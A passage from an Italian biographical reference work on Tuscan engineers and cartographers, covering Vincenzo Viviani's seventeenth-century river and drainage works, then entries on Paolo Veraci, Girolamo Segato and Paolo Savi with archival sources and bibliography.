Con Viviani, quindi, la direzioni dei lavori pubblici passò dai pratici ai matematici, e grazie all’impegno teorico e pratico profuso per quasi un sessantennio in materia di bonifica idraulica e sistemazioni fluviali, il nostro riuscì a qualificare e formare intere generazioni di ingegneri architetti (anche come cartografi) della Toscana, dai quali venne riconosciuto quale maestro indiscusso. Ma, più in generale, con Viviani la problematica idraulica esce dal chiuso delle accademie, e dalle speculazioni teoriche scende ad affrontare le questioni concrete: in perfetta consonanza con le nuove aspirazioni sviluppiste del governo e delle classi imprenditoriali della Toscana, passate ormai dalla pratica della mercatura alla valorizzazione produttiva delle campagne.
Le sue innumerevoli commissioni in ogni parte del Granducato richiesero la redazione di altrettanti rapporti e perizie rimaste manoscritte, quasi sempre in forma di brevi scritti tecnici su realtà spaziali molto esigue, talora corredati da mappe, disegni o schizzi sommari, tuttora conservati in vari fondi archivistici (principalmente in ASF, Capitani di Parte Guelfa e Miscellanea Medicea, ma anche in BNCF, Manoscritti Galileiani-Discepoli di Galileo).
Si pensi che soltanto nell’archivio dei Capitani di Parte Guelfa sono state individuate circa 300 relazioni del Viviani che fanno riferimento al fiume Arno!
L’onore della stampa spettò – seppure a distanza di quasi un secolo e mezzo, e precisamente nel 1822 – soltanto alle due opere più complete e organiche commissionategli dal granduca Cosimo III: la Relazione intorno al riparare, per quanto possibile sia, la città e campagne di Pisa dall’inondazioni, stesa nell’aprile 1684 in seguito ad una attenta visita eseguita insieme all’idraulico olandese Cornelio Meyer; e il Discorso intorno al difendersi da’ riempimenti e dalle corrosioni dei fiumi applicate ad Arno in vicinanza della città di Firenze, redatto nel gennaio 1687.
La Relazione sul Pisano evidenzia la criticità sanitaria e la precarietà dell’assetto idraulico della vasta bassa pianura dell’Arno, punteggiata di acquitrini permanenti e soggetta alle ricorrenti inondazioni del fiume e dei suoi numerosi affluenti; ed evidenzia pure la cautela e il pragmatismo propri degli scienziati galileiani e dell’Accademia del Cimento. Il piano del Viviani non prevedeva interventi drastici, come ad esempio la deviazione di gran parte delle acque dell’Arno a monte di Pisa (operazione da secoli richiesta da alcuni, per salvare la città dai ricorrenti pericoli alluvionali), o come la colmata generale dell’acquitrinosa pianura pisana, perché “non si può con industria ed arte vincer la forza della natura”.
Nel passato si era ovviato a questi pericoli mediante interventi contingenti e scoordinati tra loro, come la realizzazione di grossi argini fluviali e l’escavazione di canali di scolo verso il Fiume Morto a nord e lo stagno di Calambrone e Coltano a sud; tuttavia, l’impegno della specifica magistratura pisana, l’Ufficio Fiumi e Fossi, non era valso a mantenere in equilibrio questo sistema artificiale di drenaggio idrico.
Partendo da queste premesse storiche, il nostro scrive che occorreva innanzitutto “rimettere in opera e ridurre allo stato antico tutti quei fossi e scoli che più ora non operano con ricavarli e arginarli tutti insieme [...], ma prima si riaprano gli sfoghi di detti fossi e quello in particolare del Fiume Morto con cavare anche questo dove ne sia il bisogno, ma soprattutto col raddrizzarlo per la via più breve, ristringerlo all’apertura dei ponti ed arginarlo in moderata distanza dalle ripe sin dentro il mare con incassarvelo ancora per molte braccia”. Anche l’Arno – che subito a valle di Pisa arricchiva i paduli ivi esistenti per l’incapacità di far defluire in mare tutte le sue acque – doveva essere liberato del gomito o meandro di Barbaricina (un’ampia area da colmare e recuperare alle coltivazioni) e portato in un nuovo letto con inclinazione più favorevole al deflusso nel Tirreno.
Poiché il fiume stava progressivamente sollevando il suo alveo per l’interrimento naturale, occorreva anche rialzarne le sponde e consolidarle con la costruzione a distanza di contrargini da mantenere con cura; questi argini paralleli al corso d’acqua erano intesi come funzionali al deposito delle “fecondanti torbide” fluviali, per recuperare gradualmente all’agricoltura parte della pianura più depressa che era quasi stabilmente occupata da impaludamenti.
Viviani esprime la sua piena fiducia in questo metodo delle piccole colmate, da realizzare comunque con cautela e con ordine anche a distanza dall’Arno. “Messe in difesa le terre buone, occorre cominciare a colmare per grande altezza e non in fretta, a impresa per impresa, le terre più lontane dal mare ed insieme le più prossime all’Arno con le più remote da quegli scoli che debbono ricevere poi le loro acque piovane, e di poi l’altre terre di mano in mano per traverso fino ai predetti scoli per continuare con tale ordine a colmare le altre tenute per di sotto che si vanno accostando al mare”. Questo metodo sistematico – proposto anche per i grandi comprensori di bonifica, quali la Valdichiana e la Valdinievole – era ritenuto l’unico in grado “di restituire a Pisa la salubrità dell’aria, la copiosa popolazione e l’antico pregio di essere il granaio della Toscana”.
Il Discorso sul territorio fiorentino affronta in modo ugualmente organico il problema tanto temuto del riempimento del letto fluviale nei pressi di Firenze. Con accurate ricerche storiche e sul terreno, Viviani verificò il rialzamento di alcune braccia dell’alveo dell’Arno e dei suoi principali tributari, ciò che finiva con il provocare sempre più frequenti allagamenti dei piani interrati e a terreno delle abitazioni non solo urbane. Il nostro si accorse pure che il riempimento d’Arno “non segue già per uniforme altezza in universale né per tutta la larghezza del medesimo letto, ma questo occupamento di vaso e di continente dà causa alle piene di procurarsi il luogo perduto dentro le ripe più deboli onde ne seguono corrosioni e lunate, e di scorrervi ancora più alte donde n’avvengono inondazioni”. Pur non credendo che Firenze corresse il rischio di trasformarsi in una città acquatica, necessariamente intersecata da canali, come ad esempio Mantova e Ferrara, e che le sue campagne “abbiano a ricoprirsi d’acque e convertirsi in cubili di ranocchi o di pesci, poiché per divina provvidenza l’umana industria saprà conservare il tutto”, tuttavia il problema era preoccupante e ne andavano ricercate le cause.
Tali cause furono individuate nell’eccessivo “diboscamento, che in universale contro gli antichi provvedimenti è stato fatto delle alpi e dei monti, di quegli in particolare che secondano il corso dell’Arno dall’Incisa a Rovezzano”, con i coltivi che non sempre erano stati “fatti con buon ordine dalle radici di essi monti fino alle cime e nei fondi delle valli, per dove, passando le piovane, si formano i borri, i fossati, i rii, i fiumicelli e i fiumi che scendono in Arno. Queste sono le più potenti cagioni che concorrono alla di lui ripienezza, poiché le piogge cadenti sopra quei monti spogliati di legname e coltivati e smossi, non trovando più il ritegno della macchia e del bosco, vi scorrono precipitose e s’accompagnano colla materia di terra, sasso e ghiaia dalla quale son formati e la conducono furiosamente nel fiume”, che a sua volta la spingeva e l’abbandonava gradualmente lungo il proprio corso.
Il progetto elaborato dallo scienziato prevedeva vari interventi, a partire dall’innalzamento degli argini fluviali (rafforzati da scarpe, sassaie e altri manufatti di difesa) e dal parziale raddrizzamento dei corsi d’acqua per eliminare i gomiti troppo pronunciati che impedivano o rallentavano il deflusso; quanto però all’Arno, lo scienziato sconsigliava fermamente la sua canalizzazione – proposta da molti onde accrescerne le funzioni idroviarie – tra Firenze e Signa perché d’estate non c’era acqua sufficiente ad alimentare il canale stesso.
Ma di fondamentale importanza erano il rinnovo della legislazione vincolistica nei confronti dei tagli dissennati dei boschi alpestri e l’attivazione di una vera e propria bonifica montana fatta di adeguate sistemazioni idraulico-agrarie e forestali: a partire da quelle trasversali ai pendii montani e collinari, realizzabili con “serre o chiuse o leghe o traverse di buon muro”, sopra le quali costituire “folte piantate di boscaglie o da fuoco o da taglio” oppure di olivi. Invece, nelle aree vallive (e specialmente nelle aree fra Incisa e Firenze), occorreva rimettere in funzione gli antichi sbarramenti trasversali ai corsi d’acqua, le pescaie, “e fabbricarne delle nuove” (anche sui principali affluenti) per rallentare il deflusso delle acque.
La prima impresa idraulica del Viviani fu la visita – fatta nel giugno 1644 con gli ingegneri Alessandro Bartolotti e Baccio Del Bianco – al Bisenzio in località Poggione, per visionare e risarcire la steccaia devastata dalle piene fluviali. Della stessa area, il nostro si interessò a più riprese, come nel luglio 1652, quando rilevò la pianta della zona di Capalle per progettarvi un taglio o raddrizzamento fluviale, mentre nello stesso anno provvedeva a riparare l’argine d’Arno alle Cascine. Sempre sul maggior fiume della Toscana, nel maggio 1653, insieme ad Alfonso Parigi (come pure, da solo, nell’ottobre 1669), propose rimedi “necessarissimi” (“palate” soprattutto) alla breccia d’argine formatasi alla confluenza del fiume Greve; nel settembre 1661 e nell’ottobre 1670 restaurò la steccaia di Montevarchi; nel giugno 1662 rinforzò la strada romagnola che lambiva l’argine del fiume in loc. Girone; nel gennaio 1666 riparò la corrosione nel bosco di San Moro di Signa; nel settembre 1673 e ancora nel settembre 1691 effettuò lavori ad Ugnano e Brozzi; nel 1679 effettuò lavori di rifacimento degli argini nel Pian di Ripoli e anche subito a valle di Firenze; nel luglio 1680 risarcì il pignone sotto Varlungo, ecc.
In altri contesti spaziali, nell’ottobre 1669 studiò la realizzazione di un ponte cateratte in loc. Mora, nel piano di Lecore, sull’Ombrone Pistoiese, per salvaguardare dalle esondazioni la campagna circostante. Nel dicembre 1679 denunciò gli abusi del proprietari frontisti dell’Ombrone che – anziché rinforzare gli argini – li avevano indeboliti con l’espandervi le coltivazioni e con il costruirvi vari manufatti che addirittura occupavano anche il letto fluviale, ostacolando in tal modo il deflusso delle acque. Dalla visione di questa situazione, il nostro per la prima volta osava allargare la sua attenzione dalla contingenza del bisogno locale ai problemi generali di sistemazione fluviale durevole e di messa in sicurezza delle pianure, con il consigliare l’ufficio di ricostruire con luci di adeguata altezza i ponti esistenti, di reprimere gli abusi umani (demolire i manufatti e i campi impropriamente costruiti), di sistemare a dovere la sfociatura dell’Ombrone in Arno con la realizzazione di una solida sassaia per stabilizzare i due corsi d’acqua, di riarginare gli affluenti dell’Ombrone con tanto di rettificazione degli alvei di alcuni di loro, e finalmente di provvedere per quanto possibile al rialzamento delle piane più depresse mediante la pratica antica e di lungo periodo delle piccole colmate.
Si occupò pure – insieme all’ingegnere Francesco Landini, nel luglio 1671 e nel marzo 1672 rispettivamente – del consolidamento delle colline meridionali fiorentine dominate dal forte e dalla basilica di San Miniato e dalla villa granducale di Poggio Imperiale, mediante l’erezione di muri di consolidamento, l’escavazione di acquidocci e l’impianto di filari di cipressi e di altre alberature.
Tra gli altri impegni, vale la pena di ricordare il suo parere del 1691 sulla causa relativa al triplice taglio del torrente Vingone progettato dall’allievo prediletto, l’ingegnere Giuliano Ciaccheri, ma rifiutato dai locali proprietari terrieri. Lo scienziato non esitò a sconfessare il più stimato rappresentante della burocrazia tecnica medicea, convinto com’era che lo scavo di un nuovo lungo letto fluviale in area più soggetta a maggiori rischi di esondazione dell’Arno non era conveniente anche per il consumo di fertile terreno agrario che ne sarebbe derivato, e quindi consigliava prudentemente di fare una deviazione assai più contenuta e di raddrizzare per quanto possibile il torrente con eliminazione delle maggiori tortuosità, provvedendo semmai alla costruzione, nell’alto bacino idrografico, di solide serre per attenuare l’impeto della corrente e, nella sua parte bassa, di scoli per “separare le acque di monte, che per lo più ne scendono cariche di materie nocive, dall’acque piovane e chiare del piano”.
Poiché questi consigli erano rimasti inascoltati, nel 1697 Viviani tornò a perorare la validità delle opere di sistemazione fluviale eseguite a monte, propedeutiche alla salvaguardia degli argini di piano. Del resto, lo scienziato – almeno a partire dagli anni ’80 – fu sempre coerente con il convincimento che il complesso problema della sistemazione e messa in sicurezza della valle dell’Arno poteva essere risolto soltanto mediante la messa in pratica di un piano organico di bonifica generale (Barsanti, 1994, pp. 59-60).
Viviani operò in modo non episodico anche nei comprensori umidi più lontani da Firenze, come la pianura grossetana, e soprattutto la Valdichiana e la Valdinievole.
Nella pianura di Grosseto Viviani seguì il lavoro svolto dal suo principale collaboratore Giuliano Ciaccheri tra il 1694 e i primi anni del nuovo secolo. Nell’impossibilità di provvedere alla bonifica completa del lago-padule di Castiglione della Pescaia, si provvide al risarcimento degli argini dell’Ombrone (per impedire che le esendazioni fluviali peggiorassero l’assetto idraulico della pianura) e alla costruzione del nuovo canale Navigante da Castiglione al Porticciolo di Grosseto: in questo periodo furono disegnate anche una carta generale della pianura di Grosseto (ASF, Scrittoio delle Regie Possessioni, f. 6944) e varie carte topografiche della fiumara con porto canale di Castiglione e del Nuovo Navigante con l’area attraversata (ASF, Mediceo del Principato, f. 2029, cc. 1-3 e 13-15) (Barsanti, 1984, pp. 62-63).
Nel comprensorio del padule di Fucecchio, il nostro si recò più volte per risolvere i gravi problemi della bonifica che interessavano le tante fattorie granducali della valle. Nel maggio 1670 osservava come le colmate poco regolate della Pescia di Pescia stessero danneggiando i circostanti terreni di proprietà granducale e privata, appartenenti alle fattorie di Altopascio e Bellavista. Proponeva pertanto di togliere il fiume dal suo letto e di condurlo a sfociare nel padule del Cerro, riempiendo l’alveo rimasto asciutto con una vicina gora alimentatrice di un mulino. Nel 1682 fece un’importante ispezione a Ponte a Cappiano dove la chiusura di buona parte delle calle produceva difficoltà di deflusso e ristagno delle acque: lo scienziato ordinò la riapertura delle bocche e anzi il loro ampliamento con la sbassatura della loro soglia, anche per potenziare la navigazione nella zona umida; a quest’ultimo fine, progettò pure la costruzione di un nuovo canale navigante nel padule. Nel 1693, visitò la fattoria granducale del Terzo dove progettò possenti arginature alle casse di colmata e pera di canalizzazione per impedire ce le torbide della Nievole e della Borra pregiudicassero gli scoli di Bellavista e di altre proprietà (Barsanti, 1994, pp. 65-66).
Pure della Valdichiana, e soprattutto della parte meridionale ove passava il confine fra Granducato e Stato Pontificio, Viviani si occupò a più riprese fin dal 1657-60, anche collaborando con il matematico papale Gian Domenico Cassini.
Così, nel 1657 accompagnò nelle Chiane il cardinale Giovan Carlo de’ Medici e in quell’occasione si rese conto del grande interrimento che si era registrato nell’area di confine, con il rischio di bloccare il deflusso delle acque verso il Tevere: da qui, l’idea di riportare l’Astrone nel piano di Cetona. Nell’aprile 1664, grazie anche al suo contributo e a quello dell’ingegnere Francesco Landini che lo affiancò, furono approvati i tredici capitoli dell’intesa o Concordia fra il papa Alessandro VII e il granduca Ferdinando II (edita nel 1665 con una pianta con profilo), che riguardavano la regimazione e riescavazione anche con nuovi letti dei torrenti Tresa, Astrone, Buterone, Cardete e altri scorrenti nel delicato scacchiere e che – prima di confluire nel Canale Maestro della Chiana – inondavano e danneggiavano le campagne. Nel 1667, il nostro scienziato si dichiarò sgomento di non poter quantificare le spese per i lavori delle Chiane “così inferme e noiate dall’acque trattenutevi”; ancora nel 1677 visitò l’area palustre delle Chiarine, proponendo lavori per il loro risanamento.
Nel 1684 e ancora tra 1689 e 1690 Viviani fu inviato a Roma per discutere con i tecnici pontifici un accordo generale per la bonifica definitiva della valle, operazione da sempre avversata dai romani per i timori di accresciute inondazioni da parte del Tevere che una simile sistemazione avrebbe potuto arrecare: per convincere il papa e i suoi collaboratori, Viviani portò con sé numerose piante fatte disegnare dal suo principale collaboratore tecnico, l’ingegnere Giuliano Ciaccheri.
Nel maggio 1691, lo scienziato dette puntuali istruzioni a Ciaccheri circa il procedere dei lavori nelle Chiane, e in particolare su come voltare Parce, fosso di Gragnano e Astrone nel piano di Chiusi, con il raccomandare di servirsi sempre di precisi rilevamenti cartografici (Barsanti, 1994, pp. 66-67; Di Pietro, 2005, pp. 109-111).
Come è facile capire, buona parte dei suoi rilievi e progetti fu invariabilmente corredata da disegni di livellazioni e/o da mappe o carte topografiche, ma a quanto è dato sapere queste rappresentazioni – redatte sotto la sua direzione – furono regolarmente disegnate e in genere firmate dagli ingegneri e capomaestri suoi collaboratori, ed è quindi difficile se non impossibile presentare qui un elenco.
Basti ricordare che, con l’ingegnere Giuliano Ciaccheri è autore della prima cartografia in scala topografica frutto di regolari operazioni metriche pubblicata a corredo di un’opera idraulica: trattasi della Carta del Pian di Pisa inviata manoscritta al granduca Cosimo III nel 1684 e poi inserita nell’opera a stampa dell’idraulico olandese Cornelio Meyer Arte di restituire a Roma la tralasciata navigazione del suo Tevere (Roma, Per il Varese, 1685) (Gabellini, 1987, p. 150).


Discorso al Serenissimo Granduca di Toscana Cosimo III intorno al difendersi da’ riempimenti, e dalle corrosioni de’ fiumi applicate ad Arno in vicinanza della Città di Firenze edita in Raccolta d’Autori Italiani che trattano del moto dell’acque, Firenze, Stamperia di Sua Altezza Reale, vol. IV, 1765, pp. 217-258;
Relazione al Serenissimo Granduca di Toscana Cosimo III intorno al riparare per quanto possibile sia la Città e Campagne di Pisa dall’inondazioni edita in Raccolta d’Autori Italiani che trattano del moto dell’acque, Firenze, Stamperia di Sua Altezza Reale, vol.. IV, 1765, pp. 259-269.


Produzione di cartografia manoscritta:
Pianta della zona di Capalle, 1652 (ASF, Capitani di Parte. Numeri neri, f. 1073, c. 61);
Pianta e profilo dello stato dell’acque delle Chiane dal Ponte di Valiano sino al Ponte di Sotto ecc., disegni degli ingegneri Gio. Nicolò Pulega e Francesco Landini (ASF, Piante dello Scrittoio delle Regie Possessioni, piante topografiche, n. 105.5);
Carta del Pian di Pisa, con l’ingegnere Giuliano Ciaccheri, 1684 (edita in Cornelio Meyer, Arte di restituire a Roma la tralasciata navigazione del suo Tevere, Roma, Per il Varese, 1685;
Disegno in pianta della Pianura di Grosseto, con Giuliano Ciaccheri, 1694 circa (ASF, Scrittoio delle Regie Possessioni, f. 6944);
Varie carte topografiche della fiumara con porto canale di Castiglione e del Nuovo Navigante con l’area attraversata, con Giuliano Ciaccheri, 1694 (ASF, Mediceo del Principato, f. 2029, cc. 1-3 e 13-15);

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, 1984; Barsanti, 1994, pp. 43-68; Gabellini, 1987, p. 150; Maglioni, 2001; Piccardi, 2001; Di Pietro, 2005, pp. 109-111; ASF, Capitani di Parte Guelfa. Numeri neri, ff. 1055, c. 144, 1063, cc. 223 e 259, 1073, cc. 56 e 61, 1074, c. 39, 1081, cc. 80 e 113, 1082, c. 111, 1085, c. 103, 1092, c. 62, 1103, cc. 24 e 51, 1667, cc. 13 ss.; ASF, Segreteria di Finanze, f. 1013; ASF, Scrittoio delle Regie Possessioni, ff. 6941, 6943 e 6944; ASF, Piante dello Scrittoio delle Regie Possessioni, piante topografiche, n. 105.5; ASF, Mediceo del Principato, f. 2029, cc. 1-3 e 13-15; ASF, Miscellanea Medicea; BNCF, Manoscritti Galileiani-Discepoli di Galileo, nn. 222, cc. 79 ss. e 153 ss., 229, c. 91, 232, c. 52, 233, cc. 9, 161, 217 e 237 ss., 234, cc. 97 ss. e 125 ss., 235, cc. 73 ss. e 167 ss., 236, cc. 34 ss., 263, cc. 98 ss.; BRF, Manoscritti Riccardiani, n. 2711, c. 81.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Veraci, Paolo

Paolo Veraci
N. Firenze 19 maggio 1776
M. Firenze 9 febbraio 1841

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e architetto

Biografia:
Nacque a Firenze il 19 maggio 1776 e vi morì il 9 febbraio1841. Nel 1827 risultava ammogliato e con famiglia composta dalla madre, un fratello impiegato, la moglie e quattro figli.

Produzione scientifica:
Dal 1° marzo 1800 a tutto febbraio 1803 fu Provveditore di Strade della Comunità di Firenze.
Dal 1° marzo 1807 a tutto dicembre 1825 fu Ingegnere della stessa Comunità; e dal 1808 a tutto l’anno 1825 anche perito ingegnere della Comunità del Galluzzo (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, f. 1342, fasc. 1).
Nel 1825 entrò nel Corpo degli Ingegneri di Acque e Strade dove rimase in servizio fino a tutto il 1840.
Fu autore di numerosi progetti di restauro e mantenimento di edifici pubblici fiorentini: Porta alla Croce, Pubblici Macelli, Lungarni, Palazzo di Parte Guelfa e Cimitero della Misericordia detto dei Pinti (ristrutturato nel 1837 con la costruzione di due loggiati semicircolari saldati insieme da una cappella dedicata all’Immacolata Concezione) (Cresti e Zangheri, 1978, p. 233).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Cresti e Zangheri, 1978, p. 233; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Segato, Girolamo

Girolamo Segato
N. Sospirolo 13 giugno 1792
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nato a Sospirolo (Vedana di Belluno) il 13 giugno 1792 da Benedetto e Giustina Lante di Belluno, fu editore, disegnatore, incisore e cartografo, naturalista e viaggiatore.

Produzione scientifica:
Viaggiò e visse a lungo in Egitto (1818-23), visitando regioni ancora sconosciute della Nubia, delineando carte e raccogliendo materiali di vario genere (naturalistico, archeologico ed etnografico, documentario grafico e scritto), e facendo scavi intorno alla piramide a scaglioni di Abu-Sir presso Saqqara: parte del materiale archeologico raccolto da Segato fu spedito in Germania e avrebbe costituito la base del Museo Egiziano di Berlino, mentre gran parte delle sue collezioni fu distrutta da un incendio al Cairo. Qui, ricoprì anche l'incarico di vicecancelliere del Consolato tedesco, e qui studiò e progettò insieme a Lorenzo Masi lo scavo di alcuni canali interni.
Tornato in Italia nel 1823 per ragioni di salute, si stabilì prima a Livorno e poi a Firenze (come rappresentante della Banca di Associazioni Marittime De Rossetti), e in questa città (dove divenne amico del grande promotore di cultura Giovan Pietro Vieusseux) operò e morì prematuramente il 3 febbraio 1836, ricevendone onorata sepoltura nel chiostro di Santa Croce insieme “con l’Itale glorie”.
A Firenze, infatti, Segato fu autore di prodotti cartografici e geografici, come i Saggi pittorici, geografici, statistici, idrografici e catastali sull'Egitto, un album con testi e con ottimi disegni vedutistici e anche topografici originali in nero e colore in 9 tavole, opera del medesimo e di Lorenzo Masi, edito nel 1827. Spiccano la Carta idrografica catastale della superficie dei terreni di n. 56 villaggi nella provincia di Sciarkie e la Carta del canale navigabile dietro Mahmudie escavato l’anno 1819 da S.A. il Pascià d’Egitto (tavv. 1-2.)
Realizzò anche un Atlante del Basso ed Alto Egitto, in due volumi illustrati a cura di D. Valeriani, che però vide la luce solo dopo la morte dell'autore, nello stesso anno 1836.
Si dedicò anche agli studi chimici che lo portarono alla scoperta di un procedimento di conservazione e pietrificazione di corpi animali e umani senza che ciò comportasse alterazione alcuna dei medesimi.
Nel 1832, Segato incise e stampò a Firenze la Carta Geometrica della Toscana accresciuta d’indicazioni ed incisa da Girolamo Segato con Imp. E Reale Privilegio, rispetto al modello della “grande carta” di Giovanni Inghirami in scala 1:200.000 edito all’inizio del 1831.
Questa maneggevole rappresentazione in scala 1:400.000 godette di largo successo commerciale, tanto che altre edizioni furono fatte nel 1844 (arricchita dell’indicazione del rilievo tramite ombreggiatura ed “aumentata e corretta per servir di corredo al Dizionario Geografico Fisico Storico di Emanuele Repetti”) e nel 1856. Corre obbligo di rilevare che molte di queste figure furono utilizzate pure dall’amministrazione granducale per esigenze di governo del territorio. Ad esempio, su una delle carte del Segato furono disegnate a mano le dogane di frontiera (in ASF, Miscellanea di Piante, n. 713).
In effetti, almeno in parte, la “piccola carta” del Segato rappresenta un prodotto originale, perché con specifica simbologia distingue gli insediamenti umani per livello demografico (in otto classi a partire da meno 500 abitanti e fino ad oltre 10.000 abitanti) o per quello funzionalistico-gerarchico, dal momento che si indicano insediamenti anche isolati come le sedi di arcivescovato e vescovato, i casali e le ville, le chiese e i conventi, le osterie, le dogane, le poste, “i posti armati costieri”, gli opifici siderurgici e metallurgici, gli edifici termali. Puntuale è anche la restituzione delle strade (con la qualifica di rotabili, carreggiabili e pedonali riferita alle regie postali o meno, alle provinciali e alle comunali), dei ponti e “passi di barche”, dei giacimenti minerari (questi ultimi ripresi dagli studi del docente dell’ateneo senese Giuseppe Giuli). L’edizione del 1844 avrebbe dovuto contenere pure la perimetrazione del “Territorio dominato dalla mal-aria” e della Provincia di Grosseto (dove appunto era presente questa plurisecolare piaga sanitaria): e, infatti, Segato, sempre nel 1832, incise e pubblicò la Carta sanitaria della Provincia di Grosseto..., estratta dalla carta della Toscana dell'Inghirami (poi ampliata nel 1844 per essere anch’essa inserita nel "Dizionario" di Emanuele Repetti).
E’ da notare che la carta del Segato fu disegnata nell’Osservatorio Ximeniano (dove ancora oggi se ne conserva copia: cfr. Barsanti, a cura di, 1992, p. 16) sotto la direzione dell’Inghirami (con la riduzione dall’originale effettuata “con un eccellente pantografo”) e che costui cedette generosamente, in forma gratuita – su precisa richiesta – la privativa di riproduzione (anche per riduzione) della sua carta geometrica della Toscana concessagli dal governo lorenese, proprio a Girolamo Segato. Lo scienziato scolopio tra il 1830 e il 1831 motivò la sua volontà alla segretaria granducale (che approvò) di favorire l’ormai fiorentino Segato, anziché i milanesi Stucchi e Regazzoni, che pure avevano inciso la grande rappresentazione toscana, perché il primo si faceva apprezzare per “una qualche abilità” ed “un qualche esercizio in questo genere d’incisione, come ha dato a dimostrare in una carta dell’interno dell’Africa da esso lui recentemente eseguita” con l’aggiornamento delle più recenti scoperte e con la rete delle strade e delle vie carovaniere, oltre che con la consueta cura per i contenuti storico-archeologici, etnologici e toponomastici.
La carta dell’Africa cui si allude è stata reperita nelle edizioni postume del 1838 e poi ancora del 1850: trattasi della Carte de l'Afrique septentrionale redigée et gravée d'aprés les derniéres découvertes par Jerome Segato, "Firenze, presso l'Autore, incisa da G. C. Castellani nella Tip. di L. Bardi.
Il nostro è autore pure di un profilo di livellazione (incisione colorata senza data) di un canale navigabile in Egitto collegato al fiume Nilo (in ASF, Miscellanea di Piante, n. 161).

Produzione di cartografia manoscritta:
Saggi pittorici, geografici, statistici, idrografici e catastali sull'Egitto..., disegnati ed incisi dal Segato insieme a Lorenzo Masi, Firenze, 1827, presso gli Autori coi tipi di Glauco Masi di Livorno, un album stampato con testi e ottimi disegni in nero e colore (9 tavole);
Carta geometrica della Toscana accresciuta d'indicazioni ed incisa da Girolamo Segato con Imp. e Reale Privilegio, Firenze, edizioni 1832 e 1844;
Carta sanitaria della Provincia di Grosseto..., estratta dalla carta della Toscana dell'Inghirami, Firenze, edizioni 1832 e 1844;
Atlante del Basso ed Alto Egitto, in due volumi illustrati a cura di D. Valeriani, 1836;
Carte de l'Afrique septentrionale redigée et gravée d'aprés les derniéres découvertes par Jerome Segato, "Firenze, presso l'Autore, incisa da G.C. Castellani nella Tip. di L. Bardi, edizioni 1838 e 1850;
Profilo di livellazione (incisione colorata) di un canale navigabile in Egitto collegato al fiume Nilo (in ASF, Miscellanea di Piante, n. 161);
Carta della Toscana (riduzione del prodotto dell'Inghirami) con le dogane di frontiera (in ASF, Miscellanea di Piante, n. 713);

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Wolynsky, 1894; Della Valle, 1934; Pieri, 1936; Pocchiesa e Fornaro, 1992; Rombai, 1989, pp. 119-120 e 151; Rombai, Toccafondi e Vivoli, 1987, pp. 136 e 440; Barsanti, Bonelli Conenna e Rombai, 2001, pp. 21 e 129; Barsanti, a cura di, 1992, pp. 16, 72-73 e 91; ASF, Miscellanea di Piante.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Savi, Paolo

Paolo Savi
N. Pisa 1798
M. Pisa 1871

Relazioni di parentela: Figlio del botanico pisano Gaetano.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Fu uno dei maggiori promotori e organizzatori del primo congresso degli scienziati italiani tenutosi a Pisa nel 1839, nella cui sede – come annota il granduca Leopoldo II – “furono relazioni, discussioni sui monti di Toscana, esposte le scoperte di Paolo Savi” (Pesendorfer, a cura di, 1987, 224-225).
Come Santi e tanti altri studiosi dell’età della Restaurazione e del Risorgimento, Savi tese però a privilegiare le scienze utili e in primo luogo la geologia sempre correlata alla mineralogia (e quindi all’economia mineraria) e all’agricoltura, come ben dimostrano le sue tante ampie memorie a stampa del 1836 sull’Elba, del 1838 su Montevaso, del 1847 sul Massetano, del 1856 sulla pianura di Pisa, ecc.
Scrive D’Achiardi che almeno negli anni ’50 “non trovi di lui [...] che relazioni su cave, miniere, officine metallurgiche od altro, relazioni però tutte pregevolissime, fra le quali meritano speciale menzione quelle sui carboni fossili delle Maremme, sui terremoti del 1846, sulle miniere di Massa Marittima, di Orciatico, dell’Impruneta, di Riparbella, e tante altre” (D’Achiardi, 1871, pp. 48-49).
In realtà, si occupò anche di problemi idraulici e sanitari, accompagnando il giovane granduca Leopoldo II nelle sue visite in Maremma a decorrere dalla fine degli anni ’20 e dall’inizio degli anni ’30; il sovrano ne ebbe grande stima e lo definì “abilissimo” (Pesendorfer, a cura di, 1987, p. 136).
Nel 1839 pubblicò la memoria Alcune considerazioni sulla cattiv’aria delle Maremme Toscane, corredata da una carta geografica tematica della Toscana con la quale si visualizzavano – mediante velature cromatiche – i comprensori costieri già risanati e quelli ancora malarici (Azzari, a cura di, 2006, p. 53).
Nel 1845 fu poi incaricato – insieme ai colleghi Francesco Puccinotti e Giovacchino Taddei – dal granduca di esaminare lo stato della bonifica nel Padule di Scarlino e di proporre, nel caso, correttivi alle operazioni in atto della colmata con le acque del fiume Pecora, anche per migliorare le gravi condizioni d’insalubrità dell’area. La commissione stese due rapporti il 15 aprile e nel luglio con i quali consigliava come rimedio alla malsanìa di “piantare una fitta pineta sul Tombolo interposto fra il padule e il mare, e quindi numerose file, ma fra loro distanti, di Pioppi e di Gattici sul fondo dell’antico padule già scolato, non altrimenti che su quello colmate, le quali fossero perfettamente dirette da nord a sud. Sconsigliavano altresì di eliminare l’intera zona umida e di salvaguardarne invece la parte più profonda anche per farne un comodo invaso portuario; è da notare che alle memorie è allegata una precisa carta topografica della bassa Val di Pecora “corredante le Considerazioni sulla mal aria” redatte da solo Paolo Savi (ASF, Segreteria di Gabinetto Appendice, f. 234, inss. 7 e 9) (Azzari e Rombai, 1986, pp. 122-124; e Pesendorfer, a cura di, 1987, pp. 273-274).
Nel 1861 tornò ancora a discutere sulle cause della malaria in Maremma, sostenendo – in appoggio alla bonifica di Leopoldo II e di Alessandro Manetti – che il rimedio più radicale alla malattia era costituito dalle colmate (Zangheri, a cura di, 1984, p. 54).
Tra il 1833 e l’inizio degli anni ’50 si occupò con successo – per commissione sovrana – del miglioramento del processo produttivo della manifattura statale del salgemma di Saline di Volterra (Pesendorfer, a cura di, 1987, p. 479; e Corsi, 2001, passim).
